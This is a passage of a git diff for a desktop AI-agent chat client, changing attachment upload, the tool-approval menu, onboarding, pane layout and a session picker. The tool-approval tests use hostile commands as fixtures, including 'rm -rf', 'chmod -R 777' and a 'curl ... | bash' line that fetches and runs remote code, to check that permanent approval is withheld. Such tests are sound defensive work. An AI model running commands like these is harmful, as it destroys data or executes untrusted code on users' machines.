-import { extractDroppedFiles, HERMES_PATHS_MIME } from '@/app/chat/hooks/use-composer-actions'
+import { extractDroppedFiles, HERMES_PATHS_MIME, isImagePath, partitionDroppedFiles } from '@/app/chat/hooks/use-composer-actions'
+import { uploadComposerAttachment } from '@/app/session/hooks/use-prompt-actions'
import { ClarifyTool } from '@/components/assistant-ui/clarify-tool'
import { DirectiveContent, hermesDirectiveFormatter } from '@/components/assistant-ui/directive-text'
import { MarkdownText, MarkdownTextContent } from '@/components/assistant-ui/markdown-text'
@@ -76,6 +82,7 @@ import { Loader } from '@/components/ui/loader'
import type { HermesGateway } from '@/hermes'
import { useResizeObserver } from '@/hooks/use-resize-observer'
import { useI18n } from '@/i18n'
+import { attachmentDisplayText, attachmentId, pathLabel } from '@/lib/chat-runtime'
import { DATA_IMAGE_URL_RE } from '@/lib/embedded-images'
import { LinkifiedText } from '@/lib/external-link'
import { triggerHaptic } from '@/lib/haptics'
@@ -84,7 +91,9 @@ import { extractPreviewTargets } from '@/lib/preview-targets'
import { useEnterAnimation } from '@/lib/use-enter-animation'
import { cn } from '@/lib/utils'
import { playSpeechText, stopVoicePlayback } from '@/lib/voice-playback'
+import type { ComposerAttachment } from '@/store/composer'
import { notifyError } from '@/store/notifications'
+import { $connection } from '@/store/session'
import { $voicePlayback } from '@/store/voice-playback'
type ThreadLoadingState = 'response' | 'session'
@@ -468,7 +477,9 @@ const ReasoningAccordionGroup: FC<{ children?: ReactNode; endIndex: number; star
s =>
s.thread.isRunning &&
s.message.status?.type === 'running' &&
- s.message.parts.slice(Math.max(0, startIndex)).some(p => p?.type === 'reasoning' && p.status?.type !== 'complete')
+ s.message.parts
+ .slice(Math.max(0, startIndex), endIndex + 1)
+ .some(p => p?.type === 'reasoning' && p.status?.type !== 'complete')
)
// A reasoning group with no actual text is pure noise — drop the whole
@@ -711,8 +722,14 @@ function StickyHumanMessageContainer({ children }: { children: ReactNode }) {
// edit composer render the same bubble surface (rounded glass card);
// they only differ in border weight, cursor, and padding-right (the
// read-only view reserves room for the restore icon).
+//
+// no-drag: sticky bubbles park at --sticky-human-top (~4px), sliding under the
+// titlebar's [-webkit-app-region:drag] strips (app-shell.tsx). Electron resolves
+// drag regions at the compositor level — z-index and pointer-events don't help —
+// so without the carve-out, clicking a stuck bubble drags the window instead of
+// opening the edit composer.
const USER_BUBBLE_BASE_CLASS =
- 'composer-human-message standalone-glass relative flex w-full min-w-0 max-w-full flex-col gap-1.5 overflow-hidden rounded-xl border bg-(--dt-user-bubble) px-3 py-2 text-left'
+ 'composer-human-message standalone-glass relative flex w-full min-w-0 max-w-full flex-col gap-1.5 overflow-hidden rounded-xl border bg-(--dt-user-bubble) px-3 py-2 text-left [-webkit-app-region:no-drag]'
const USER_ACTION_ICON_BUTTON_CLASS =
'grid place-items-center rounded-md bg-transparent text-(--ui-text-secondary) transition-colors hover:bg-(--ui-control-active-background) hover:text-foreground disabled:cursor-default disabled:text-(--ui-text-quaternary) disabled:opacity-70'
@@ -912,22 +929,42 @@ const SystemMessage: FC = () => {
const slashStatus = text.match(SLASH_STATUS_RE)
if (slashStatus?.groups) {
+ const output = slashStatus.groups.output.trim()
+ // Single-line status (e.g. "model → x") reads best centered inline; padded
+ // multiline output (catalogs, usage tables) needs left-aligned, wider room
+ // or the column alignment breaks.
+ const multiline = output.includes('\n')
+
return (
{slashStatus.groups.command}
- ·
-
+ {multiline ? (
+
+ ) : (
+ <>
+ ·
+
+ >
+ )}
)
}
+ const multiline = text.includes('\n')
+
return (
@@ -962,6 +999,10 @@ const UserEditComposer: FC = ({ cwd, gateway, sessionId }
const [triggerPlacement, setTriggerPlacement] = useState<'bottom' | 'top'>('top')
const [focusRequestId, setFocusRequestId] = useState(0)
const [submitting, setSubmitting] = useState(false)
+ // True while OS-drop files are being staged/uploaded into the session. Blocks
+ // submit and shows a spinner so confirming the edit can't race the async
+ // upload and drop the gateway-side ref before it lands in the draft.
+ const [staging, setStaging] = useState(false)
const expanded = draft.includes('\n')
const canSubmit = draft.trim().length > 0
const at = useAtCompletions({ cwd, gateway, sessionId })
@@ -1178,18 +1219,14 @@ const UserEditComposer: FC = ({ cwd, gateway, sessionId }
[aui, closeTrigger, refreshTrigger, requestEditFocus, trigger]
)
- const insertDroppedRefs = useCallback(
- (candidates: ReturnType) => {
+ const insertRefStrings = useCallback(
+ (refs: InlineRefInput[]) => {
const editor = editorRef.current
- if (!editor) {
+ if (!editor || refs.length === 0) {
return false
}
- const refs = candidates
- .map(candidate => droppedFileInlineRef(candidate, cwd))
- .filter((ref): ref is string => Boolean(ref))
-
const nextDraft = insertInlineRefsIntoEditor(editor, refs)
if (nextDraft === null) {
@@ -1202,7 +1239,60 @@ const UserEditComposer: FC = ({ cwd, gateway, sessionId }
return true
},
- [aui, cwd, requestEditFocus]
+ [aui, requestEditFocus]
+ )
+
+ const insertDroppedRefs = useCallback(
+ (candidates: ReturnType) => insertRefStrings(droppedFileInlineRefs(candidates, cwd)),
+ [cwd, insertRefStrings]
+ )
+
+ // OS/Finder drops carry an absolute path on THIS machine — the gateway can't
+ // read it in remote mode, and an image needs its bytes uploaded for vision.
+ // Stage each through the same file.attach/image.attach_bytes pipeline the main
+ // composer uses, then insert the *gateway-side* ref the agent can resolve —
+ // never the raw local path (the MahmoudR remote-attach bug, which the main
+ // composer fixes but this edit composer used to reproduce).
+ const uploadOsDropRefs = useCallback(
+ async (osDrops: ReturnType): Promise => {
+ if (!gateway || !sessionId) {
+ // No session to stage into — best-effort inline refs (matches old path).
+ return droppedFileInlineRefs(osDrops, cwd)
+ }
+
+ const remote = $connection.get()?.mode === 'remote'
+ const requestGateway = (method: string, params?: Record) => gateway.request(method, params)
+ const refs: InlineRefInput[] = []
+
+ for (const candidate of osDrops) {
+ const path = candidate.path || ''
+
+ if (!path) {
+ continue
+ }
+
+ const kind: ComposerAttachment['kind'] =
+ candidate.file?.type.startsWith('image/') || isImagePath(candidate.file?.name || path) ? 'image' : 'file'
+
+ try {
+ const uploaded = await uploadComposerAttachment(
+ { detail: path, id: attachmentId(kind, path), kind, label: pathLabel(path), path },
+ { remote, requestGateway, sessionId }
+ )
+
+ const ref = attachmentDisplayText(uploaded)
+
+ if (ref) {
+ refs.push(ref)
+ }
+ } catch (err) {
+ notifyError(err, t.desktop.dropFiles)
+ }
+ }
+
+ return refs
+ },
+ [cwd, gateway, sessionId, t.desktop.dropFiles]
)
const resetDragState = useCallback(() => {
@@ -1256,9 +1346,25 @@ const UserEditComposer: FC = ({ cwd, gateway, sessionId }
event.stopPropagation()
resetDragState()
- if (insertDroppedRefs(candidates)) {
+ // In-app drags (project tree / gutter) are workspace-relative paths that
+ // resolve on the gateway as-is, so they stay inline refs. OS drops need to
+ // be staged + uploaded first, then their gateway-side ref is inserted.
+ const { inAppRefs, osDrops } = partitionDroppedFiles(candidates)
+
+ if (insertDroppedRefs(inAppRefs)) {
triggerHaptic('selection')
}
+
+ if (osDrops.length) {
+ setStaging(true)
+ void uploadOsDropRefs(osDrops)
+ .then(refs => {
+ if (insertRefStrings(refs)) {
+ triggerHaptic('selection')
+ }
+ })
+ .finally(() => setStaging(false))
+ }
}
const handleInput = (event: FormEvent) => {
@@ -1289,7 +1395,7 @@ const UserEditComposer: FC = ({ cwd, gateway, sessionId }
const submitEdit = (editor: HTMLDivElement) => {
const nextDraft = syncDraftFromEditor(editor)
- if (submitting || !nextDraft.trim()) {
+ if (submitting || staging || !nextDraft.trim()) {
return
}
@@ -1422,6 +1528,8 @@ const UserEditComposer: FC = ({ cwd, gateway, sessionId }
>
= ({ cwd, gateway, sessionId }
onPaste={handlePaste}
ref={editorRef}
role="textbox"
+ spellCheck={false}
suppressContentEditableWarning
/>
-
+
+
+
+ {staging && (
+
+
+ {copy.attachingFile}
+
+ )}
{
const editor = editorRef.current
diff --git a/apps/desktop/src/components/assistant-ui/tool-approval.test.tsx b/apps/desktop/src/components/assistant-ui/tool-approval.test.tsx
index fb6c71f6b308..0d13371afee3 100644
--- a/apps/desktop/src/components/assistant-ui/tool-approval.test.tsx
+++ b/apps/desktop/src/components/assistant-ui/tool-approval.test.tsx
@@ -1,5 +1,5 @@
import { cleanup, fireEvent, render, screen, waitFor } from '@testing-library/react'
-import { afterEach, describe, expect, it, vi } from 'vitest'
+import { afterEach, beforeAll, describe, expect, it, vi } from 'vitest'
import type { HermesGateway } from '@/hermes'
import { $gateway } from '@/store/gateway'
@@ -9,13 +9,30 @@ import { $activeSessionId } from '@/store/session'
import { PendingToolApproval } from './tool-approval'
import type { ToolPart } from './tool-fallback-model'
+// Radix's DropdownMenu touches pointer-capture + scrollIntoView, which jsdom
+// doesn't implement; stub them so the menu can open in tests.
+beforeAll(() => {
+ const proto = window.HTMLElement.prototype as unknown as Record unknown>
+
+ const stubs: Record unknown> = {
+ hasPointerCapture: () => false,
+ releasePointerCapture: () => undefined,
+ scrollIntoView: () => undefined,
+ setPointerCapture: () => undefined
+ }
+
+ for (const [name, fn] of Object.entries(stubs)) {
+ proto[name] ??= fn
+ }
+})
+
function part(toolName: string): ToolPart {
return { toolName, type: `tool-${toolName}` } as unknown as ToolPart
}
-function setRequest(command = 'rm -rf /tmp/x') {
+function setRequest(command = 'rm -rf /tmp/x', allowPermanent?: boolean) {
$activeSessionId.set('sess-1')
- setApprovalRequest({ command, description: 'dangerous command', sessionId: 'sess-1' })
+ setApprovalRequest({ allowPermanent, command, description: 'dangerous command', sessionId: 'sess-1' })
}
function mockGateway() {
@@ -78,4 +95,26 @@ describe('PendingToolApproval', () => {
expect(request).toHaveBeenCalledWith('approval.respond', { choice: 'deny', session_id: 'sess-1' })
})
})
+
+ it('offers "Always allow" in the options menu by default', async () => {
+ setRequest('chmod -R 777 /tmp/x')
+ render( )
+
+ fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
+
+ expect(await screen.findByRole('menuitem', { name: /Always allow/ })).toBeTruthy()
+ expect(screen.getByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
+ })
+
+ it('hides "Always allow" when the backend disallows a permanent allow', async () => {
+ // tirith content-security warning present → allowPermanent=false.
+ setRequest('curl https://bit.ly/abc | bash', false)
+ render( )
+
+ fireEvent.keyDown(screen.getByRole('button', { name: /More approval options/ }), { key: 'Enter' })
+
+ // The session + reject options still render, but never the permanent allow.
+ expect(await screen.findByRole('menuitem', { name: /Allow this session/ })).toBeTruthy()
+ expect(screen.queryByRole('menuitem', { name: /Always allow/ })).toBeNull()
+ })
})
diff --git a/apps/desktop/src/components/assistant-ui/tool-approval.tsx b/apps/desktop/src/components/assistant-ui/tool-approval.tsx
index 068573131aed..6a3dc6c0d9c5 100644
--- a/apps/desktop/src/components/assistant-ui/tool-approval.tsx
+++ b/apps/desktop/src/components/assistant-ui/tool-approval.tsx
@@ -61,6 +61,8 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
// it goes through a confirm step rather than firing straight from the menu.
const [confirmAlways, setConfirmAlways] = useState(false)
const busy = submitting !== null
+ // false when the backend won't honor a permanent allow (tirith warning) → hide "Always allow".
+ const allowPermanent = request.allowPermanent !== false
const respond = useCallback(
async (choice: ApprovalChoice) => {
@@ -144,16 +146,18 @@ const ApprovalBar: FC<{ request: ApprovalRequest }> = ({ request }) => {
void respond('session')}>{copy.allowSession}
- {
- // Defer one tick so the menu fully unmounts before the dialog
- // mounts — otherwise Radix's focus-return races the dialog and
- // dismisses it via onInteractOutside.
- setTimeout(() => setConfirmAlways(true), 0)
- }}
- >
- {copy.alwaysAllowMenu}
-
+ {allowPermanent && (
+ {
+ // Defer one tick so the menu fully unmounts before the dialog
+ // mounts — otherwise Radix's focus-return races the dialog and
+ // dismisses it via onInteractOutside.
+ setTimeout(() => setConfirmAlways(true), 0)
+ }}
+ >
+ {copy.alwaysAllowMenu}
+
+ )}
void respond('deny')} variant="destructive">
{copy.reject}
diff --git a/apps/desktop/src/components/assistant-ui/tool-fallback.tsx b/apps/desktop/src/components/assistant-ui/tool-fallback.tsx
index 6f3e7edd340d..b5d65b5571e3 100644
--- a/apps/desktop/src/components/assistant-ui/tool-fallback.tsx
+++ b/apps/desktop/src/components/assistant-ui/tool-fallback.tsx
@@ -13,9 +13,9 @@ import { DisclosureRow } from '@/components/chat/disclosure-row'
import { PreviewAttachment } from '@/components/chat/preview-attachment'
import { ZoomableImage } from '@/components/chat/zoomable-image'
import { BrailleSpinner } from '@/components/ui/braille-spinner'
-import { Codicon } from '@/components/ui/codicon'
import { CopyButton } from '@/components/ui/copy-button'
import { FadeText } from '@/components/ui/fade-text'
+import { ToolIcon } from '@/components/ui/tool-icon'
import { useI18n } from '@/i18n'
import { PrettyLink, LinkifiedText as SharedLinkifiedText, urlSlugTitleLabel } from '@/lib/external-link'
import { AlertCircle, CheckCircle2 } from '@/lib/icons'
@@ -136,7 +136,7 @@ function ToolGlyph({ copy, icon, status }: { copy: ToolStatusCopy; icon?: string
const node = status ? (
statusGlyph(status, copy)
) : icon ? (
-
+
) : null
return node ? {node} : null
@@ -279,11 +279,14 @@ function ToolEntry({ part }: ToolEntryProps) {
const copyAction = useMemo(() => toolCopyPayload(part, view), [part, view])
+ // The header trailing slot only carries the live duration timer while the
+ // tool is running. The copy control used to live here too, but an
+ // `opacity-0` (yet still clickable) button straddling the caret/duration made
+ // the disclosure caret hard to hit. Copy now lives in the expanded body's
+ // top-right, where it can't fight the caret for the right edge.
const trailing =
isPending && !embedded ? (
- ) : !isPending && copyAction.text ? (
-
) : undefined
return (
@@ -322,7 +325,18 @@ function ToolEntry({ part }: ToolEntryProps) {
{isPending && }
{open && (
-
+
+ {copyAction.text && (
+
+ )}
{!embedded && view.previewTarget && isPreviewableTarget(view.previewTarget) && (
)}
diff --git a/apps/desktop/src/components/assistant-ui/user-message-edit.test.tsx b/apps/desktop/src/components/assistant-ui/user-message-edit.test.tsx
new file mode 100644
index 000000000000..ee915cf74290
--- /dev/null
+++ b/apps/desktop/src/components/assistant-ui/user-message-edit.test.tsx
@@ -0,0 +1,141 @@
+import { ExportedMessageRepository } from '@assistant-ui/core/internal'
+// Clicking a user bubble must open the inline edit composer — through the
+// app's incremental external-store runtime (which reimplements capability
+// resolution, incl. `edit: onEdit !== undefined`) and the stock runtime.
+//
+// Note: this covers the React/runtime wiring only. The Electron-level failure
+// mode (titlebar -webkit-app-region:drag swallowing clicks on *stuck* sticky
+// bubbles) is not reproducible in jsdom — see USER_BUBBLE_BASE_CLASS's no-drag
+// carve-out in thread.tsx.
+import { AssistantRuntimeProvider, type ThreadMessage, useExternalStoreRuntime } from '@assistant-ui/react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { useIncrementalExternalStoreRuntime } from '@/lib/incremental-external-store-runtime'
+
+import { Thread } from './thread'
+
+const createdAt = new Date('2026-05-01T00:00:00.000Z')
+
+class TestResizeObserver {
+ observe() {}
+ unobserve() {}
+ disconnect() {}
+}
+
+vi.stubGlobal('ResizeObserver', TestResizeObserver)
+vi.stubGlobal('requestAnimationFrame', (callback: FrameRequestCallback) =>
+ window.setTimeout(() => callback(performance.now()), 0)
+)
+vi.stubGlobal('cancelAnimationFrame', (id: number) => window.clearTimeout(id))
+
+Element.prototype.scrollTo = function scrollTo() {}
+
+function stubOffsetDimension(
+ prop: 'offsetHeight' | 'offsetWidth',
+ clientProp: 'clientHeight' | 'clientWidth',
+ fallback: number
+) {
+ const previous = Object.getOwnPropertyDescriptor(HTMLElement.prototype, prop)
+
+ Object.defineProperty(HTMLElement.prototype, prop, {
+ configurable: true,
+ get() {
+ return previous?.get?.call(this) || (this as HTMLElement)[clientProp] || fallback
+ }
+ })
+}
+
+stubOffsetDimension('offsetWidth', 'clientWidth', 800)
+stubOffsetDimension('offsetHeight', 'clientHeight', 600)
+
+function userMessage(): ThreadMessage {
+ return {
+ id: 'user-1',
+ role: 'user',
+ content: [{ type: 'text', text: 'edit me please' }],
+ attachments: [],
+ createdAt,
+ metadata: { custom: {} }
+ } as ThreadMessage
+}
+
+function assistantMessage(): ThreadMessage {
+ return {
+ id: 'assistant-1',
+ role: 'assistant',
+ content: [{ type: 'text', text: 'done' }],
+ status: { type: 'complete', reason: 'stop' },
+ createdAt,
+ metadata: {
+ unstable_state: null,
+ unstable_annotations: [],
+ unstable_data: [],
+ steps: [],
+ custom: {}
+ }
+ } as ThreadMessage
+}
+
+// Mirrors chat/index.tsx: incremental runtime + messageRepository + onEdit.
+function IncrementalHarness({ onEdit }: { onEdit: () => Promise
}) {
+ const repository = ExportedMessageRepository.fromArray([userMessage(), assistantMessage()])
+
+ const runtime = useIncrementalExternalStoreRuntime({
+ messageRepository: repository,
+ isRunning: false,
+ setMessages: () => {},
+ onNew: async () => {},
+ onEdit,
+ onCancel: async () => {},
+ onReload: async () => {}
+ })
+
+ return (
+
+
+
+ )
+}
+
+// Control: stock external store runtime.
+function StockHarness({ onEdit }: { onEdit: () => Promise }) {
+ const runtime = useExternalStoreRuntime({
+ messages: [userMessage(), assistantMessage()],
+ isRunning: false,
+ onNew: async () => {},
+ onEdit
+ })
+
+ return (
+
+
+
+ )
+}
+
+describe('click-to-edit user message', () => {
+ it('opens the edit composer with the incremental runtime', async () => {
+ const { container } = render( {}} />)
+
+ const bubble = await screen.findByRole('button', { name: 'Edit message' })
+
+ fireEvent.click(bubble)
+
+ await waitFor(() => {
+ expect(container.querySelector('[data-slot="aui_edit-composer-root"]')).toBeTruthy()
+ })
+ })
+
+ it('opens the edit composer with the stock runtime', async () => {
+ const { container } = render( {}} />)
+
+ const bubble = await screen.findByRole('button', { name: 'Edit message' })
+
+ fireEvent.click(bubble)
+
+ await waitFor(() => {
+ expect(container.querySelector('[data-slot="aui_edit-composer-root"]')).toBeTruthy()
+ })
+ })
+})
diff --git a/apps/desktop/src/components/assistant-ui/user-message-text.tsx b/apps/desktop/src/components/assistant-ui/user-message-text.tsx
index 9e0da646f29a..4235f94bf698 100644
--- a/apps/desktop/src/components/assistant-ui/user-message-text.tsx
+++ b/apps/desktop/src/components/assistant-ui/user-message-text.tsx
@@ -127,7 +127,9 @@ const InlineSegmentView: FC<{ text: string }> = ({ text }) => {
const nodes = useMemo(() => splitInlineCode(text), [text])
return (
-
+ // styles.css bidi hook (#44150); whitespace-pre-line makes each line its own
+ // UAX#9 paragraph so it resolves direction independently.
+
{nodes.map((node, nodeIndex) =>
node.kind === 'inline-code' ? (
{
reason: null,
requested: false,
firstRunSkipped: false,
- manual: false
+ manual: false,
+ localEndpoint: false
})
})
diff --git a/apps/desktop/src/components/desktop-onboarding-overlay.tsx b/apps/desktop/src/components/desktop-onboarding-overlay.tsx
index 2b6068de3f2a..a3808e634d1c 100644
--- a/apps/desktop/src/components/desktop-onboarding-overlay.tsx
+++ b/apps/desktop/src/components/desktop-onboarding-overlay.tsx
@@ -430,19 +430,24 @@ const persistShowAll = (value: boolean) => {
export function Picker({ ctx }: { ctx: OnboardingContext }) {
const { t } = useI18n()
- const { manual, mode, providers } = useStore($desktopOnboarding)
+ const { localEndpoint, manual, mode, providers } = useStore($desktopOnboarding)
const [showAll, setShowAll] = useState(readShowAll)
const ordered = useMemo(() => (providers ? sortProviders(providers) : []), [providers])
const hasOauth = ordered.length > 0
const apiKeyOptions = useApiKeyCatalog()
- if (mode === 'apikey' || !hasOauth) {
+ // localEndpoint forces the key form regardless of `mode` (which a manual
+ // provider refresh may flip back to 'oauth'); it preselects the local option
+ // and hides the "back to sign in" link since the user came specifically to
+ // configure a custom endpoint.
+ if (localEndpoint || mode === 'apikey' || !hasOauth) {
return (
setOnboardingMode('oauth')}
- onSave={(envKey, value, name) => saveOnboardingApiKey(envKey, value, name, ctx)}
+ onSave={(envKey, value, name, apiKey) => saveOnboardingApiKey(envKey, value, name, ctx, apiKey)}
options={apiKeyOptions}
/>
{manual ? null : (
@@ -630,6 +635,7 @@ export function ProviderRow({
// surfaces render the identical form.
export function ApiKeyForm({
canGoBack,
+ initialEnvKey,
isSet,
onBack,
onClear,
@@ -638,16 +644,31 @@ export function ApiKeyForm({
redactedValue
}: {
canGoBack: boolean
+ /** Preselect a specific option by env key (e.g. 'OPENAI_BASE_URL' to land on
+ * the local / custom endpoint form). Falls back to the first option. */
+ initialEnvKey?: string
isSet?: (envKey: string) => boolean
onBack: () => void
onClear?: (envKey: string) => void
- onSave: (envKey: string, value: string, name: string) => Promise<{ message?: string; ok: boolean }>
+ onSave: (
+ envKey: string,
+ value: string,
+ name: string,
+ apiKey?: string
+ ) => Promise<{ message?: string; ok: boolean }>
options?: ApiKeyOption[]
redactedValue?: (envKey: string) => null | string | undefined
}) {
const { t } = useI18n()
- const [option, setOption] = useState(options[0])
+
+ const [option, setOption] = useState(
+ () => options.find(o => o.envKey === initialEnvKey) ?? options[0]
+ )
+
const [value, setValue] = useState('')
+ // Optional endpoint API key, only used by the local / custom endpoint option
+ // (whose `value` is the base URL). Cleared whenever the option changes.
+ const [localKey, setLocalKey] = useState('')
const [saving, setSaving] = useState(false)
const [error, setError] = useState(null)
// `options` can change at runtime when callers filter the catalog (e.g. the
@@ -657,6 +678,7 @@ export function ApiKeyForm({
if (options.length > 0 && !options.some(o => o.envKey === option.envKey)) {
setOption(options[0])
setValue('')
+ setLocalKey('')
setError(null)
}
}, [option.envKey, options])
@@ -668,6 +690,7 @@ export function ApiKeyForm({
const pick = (o: ApiKeyOption) => {
setOption(o)
setValue('')
+ setLocalKey('')
setError(null)
requestAnimationFrame(() => {
entryRef.current?.scrollIntoView({ behavior: 'smooth', block: 'center' })
@@ -693,10 +716,11 @@ export function ApiKeyForm({
setSaving(true)
setError(null)
- const result = await onSave(option.envKey, value, option.name)
+ const result = await onSave(option.envKey, value, option.name, isLocal ? localKey : undefined)
if (result.ok) {
setValue('')
+ setLocalKey('')
} else {
setError(result.message ?? t.onboarding.couldNotSave)
}
@@ -759,6 +783,17 @@ export function ApiKeyForm({
type={isLocal ? 'text' : 'password'}
value={value}
/>
+ {isLocal ? (
+ setLocalKey(e.target.value)}
+ onKeyDown={e => e.key === 'Enter' && void submit()}
+ placeholder={t.onboarding.localApiKeyPlaceholder}
+ type="password"
+ value={localKey}
+ />
+ ) : null}
{error ? {error}
: null}
diff --git a/apps/desktop/src/components/gateway-connecting-overlay.test.tsx b/apps/desktop/src/components/gateway-connecting-overlay.test.tsx
index eef3b371e27e..5e35a2b26797 100644
--- a/apps/desktop/src/components/gateway-connecting-overlay.test.tsx
+++ b/apps/desktop/src/components/gateway-connecting-overlay.test.tsx
@@ -41,7 +41,8 @@ function resetStores() {
reason: null,
requested: false,
firstRunSkipped: false,
- manual: false
+ manual: false,
+ localEndpoint: false
})
}
diff --git a/apps/desktop/src/components/model-visibility-dialog.tsx b/apps/desktop/src/components/model-visibility-dialog.tsx
index 332b605ec740..d7147cc5c496 100644
--- a/apps/desktop/src/components/model-visibility-dialog.tsx
+++ b/apps/desktop/src/components/model-visibility-dialog.tsx
@@ -14,6 +14,8 @@ import {
$visibleModels,
collapseModelFamilies,
effectiveVisibleKeys,
+ emptyProviderSentinelKey,
+ isProviderSentinel,
modelVisibilityKey,
setVisibleModels
} from '@/store/model-visibility'
@@ -61,10 +63,21 @@ export function ModelVisibilityDialog({
const toggle = (provider: ModelOptionProvider, model: string) => {
const next = new Set(effectiveVisibleKeys($visibleModels.get(), providers))
const key = modelVisibilityKey(provider.slug, model)
+ const sentinel = emptyProviderSentinelKey(provider.slug)
if (next.has(key)) {
next.delete(key)
+
+ // Check if this was the last real model for this provider.
+ const remainingForProvider = [...next].some(
+ k => k.startsWith(`${provider.slug}::`) && !isProviderSentinel(k)
+ )
+
+ if (!remainingForProvider) {
+ next.add(sentinel)
+ }
} else {
+ next.delete(sentinel)
next.add(key)
}
diff --git a/apps/desktop/src/components/pane-shell/pane-shell.tsx b/apps/desktop/src/components/pane-shell/pane-shell.tsx
index 8651ecd3ee99..61e7e6969ad8 100644
--- a/apps/desktop/src/components/pane-shell/pane-shell.tsx
+++ b/apps/desktop/src/components/pane-shell/pane-shell.tsx
@@ -30,6 +30,8 @@ export interface PaneProps {
children?: ReactNode
className?: string
defaultOpen?: boolean
+ /** Paints a persistent hairline on the resize edge (not just the hover sash) so the pane boundary is always visible. */
+ divider?: boolean
/** Forces the pane closed (track→0, aria-hidden) without writing to the store — for transient route gates. */
disabled?: boolean
/** Like disabled, but keeps hoverReveal alive — collapses the track without writing to the store (e.g. narrow window). */
@@ -94,19 +96,35 @@ const remPx = () =>
? 16
: Number.parseFloat(window.getComputedStyle(document.documentElement).fontSize) || 16
-// Resolves PaneProps.minWidth/maxWidth (number | "Npx" | "Nrem") to pixels for drag clamping.
+const viewportPx = () => (typeof window === 'undefined' ? 1280 : window.innerWidth)
+
+// Resolves PaneProps.minWidth/maxWidth (number | "Npx" | "Nrem" | "Nvw" | "N%") to
+// pixels for drag clamping. Viewport units resolve against the current window width.
function widthToPx(value: WidthValue | undefined) {
if (typeof value === 'number') {
return Number.isFinite(value) ? value : undefined
}
- const match = value?.trim().match(/^(-?\d*\.?\d+)(px|rem)?$/)
+ const match = value?.trim().match(/^(-?\d*\.?\d+)(px|rem|vw|%)?$/)
if (!match) {
return undefined
}
- return Number.parseFloat(match[1]) * (match[2] === 'rem' ? remPx() : 1)
+ const n = Number.parseFloat(match[1])
+
+ switch (match[2]) {
+ case 'rem':
+ return n * remPx()
+
+ case 'vw':
+
+ case '%':
+ return (n * viewportPx()) / 100
+
+ default:
+ return n
+ }
}
function isRole(child: unknown, role: 'pane' | 'main'): child is ReactElement {
@@ -217,6 +235,7 @@ export function Pane({
children,
className,
defaultOpen = true,
+ divider = false,
disabled = false,
hoverReveal = false,
id,
@@ -409,6 +428,7 @@ export function Pane({
role="separator"
tabIndex={0}
>
+ {divider && }
)}
diff --git a/apps/desktop/src/components/session-picker.tsx b/apps/desktop/src/components/session-picker.tsx
new file mode 100644
index 000000000000..67012d9a3f0b
--- /dev/null
+++ b/apps/desktop/src/components/session-picker.tsx
@@ -0,0 +1,108 @@
+import { useQuery } from '@tanstack/react-query'
+import { Dialog as DialogPrimitive } from 'radix-ui'
+import { useEffect, useMemo, useState } from 'react'
+
+import { Command, CommandEmpty, CommandGroup, CommandInput, CommandItem, CommandList } from '@/components/ui/command'
+import { listAllProfileSessions } from '@/hermes'
+import { useI18n } from '@/i18n'
+import { sessionTitle } from '@/lib/chat-runtime'
+import { Check, MessageCircle } from '@/lib/icons'
+import { cn } from '@/lib/utils'
+
+interface SessionPickerDialogProps {
+ /** Stored id of the session currently open, so it can be flagged in the list. */
+ activeStoredSessionId?: string | null
+ onOpenChange: (open: boolean) => void
+ onResume: (storedSessionId: string) => void
+ open: boolean
+}
+
+/**
+ * Desktop equivalent of the TUI's sessions overlay (`/resume`, `/sessions`,
+ * `/switch`): a focused, type-to-filter list of recent sessions that resumes
+ * the picked one. Mirrors the command palette's cmdk surface but scoped to
+ * sessions only, so `/resume` feels first-class instead of falling through to
+ * the headless slash worker (which can't render the picker).
+ */
+export function SessionPickerDialog({
+ activeStoredSessionId,
+ onOpenChange,
+ onResume,
+ open
+}: SessionPickerDialogProps) {
+ const { t } = useI18n()
+ const [search, setSearch] = useState('')
+
+ const sessionsQuery = useQuery({
+ enabled: open,
+ queryFn: () => listAllProfileSessions(200, 1, 'exclude'),
+ queryKey: ['session-picker', 'sessions']
+ })
+
+ useEffect(() => {
+ if (!open) {
+ setSearch('')
+ }
+ }, [open])
+
+ const sessions = useMemo(() => sessionsQuery.data?.sessions ?? [], [sessionsQuery.data])
+
+ return (
+
+
+
+
+ {t.commandCenter.sections.sessions}
+
+
+
+ {t.commandCenter.noResults}
+
+ {sessions.map(session => {
+ const title = sessionTitle(session)
+ const preview = session.preview?.trim()
+
+ return (
+ {
+ onResume(session.id)
+ onOpenChange(false)
+ }}
+ value={`${title} ${preview ?? ''} ${session.id}`}
+ >
+
+
+ {title}
+ {preview ? (
+ {preview}
+ ) : null}
+
+
+
+ )
+ })}
+
+
+
+
+
+
+ )
+}
diff --git a/apps/desktop/src/components/ui/tool-icon.tsx b/apps/desktop/src/components/ui/tool-icon.tsx
new file mode 100644
index 000000000000..11119855ea0b
--- /dev/null
+++ b/apps/desktop/src/components/ui/tool-icon.tsx
@@ -0,0 +1,65 @@
+import type * as React from 'react'
+
+import { Codicon } from '@/components/ui/codicon'
+import { cn } from '@/lib/utils'
+
+// Solid (filled) glyphs for in-thread tool rows. Codicons are an outline icon
+// *font*, so an outline glyph has no separate fillable region — a filled look
+// can't be derived from it (stroke-thickening just bolds the outline). To get
+// the Cursor-style filled tool icons we render dedicated solid SVG paths,
+// keyed by the same names used in `TOOL_META` (tool-fallback-model.ts).
+//
+// Paths are Phosphor Icons (MIT) "fill" weight, 256×256 viewBox. Inlining the
+// path data mirrors the existing precedent in `directive-text.tsx`.
+const TOOL_ICON_PATHS: Record
= {
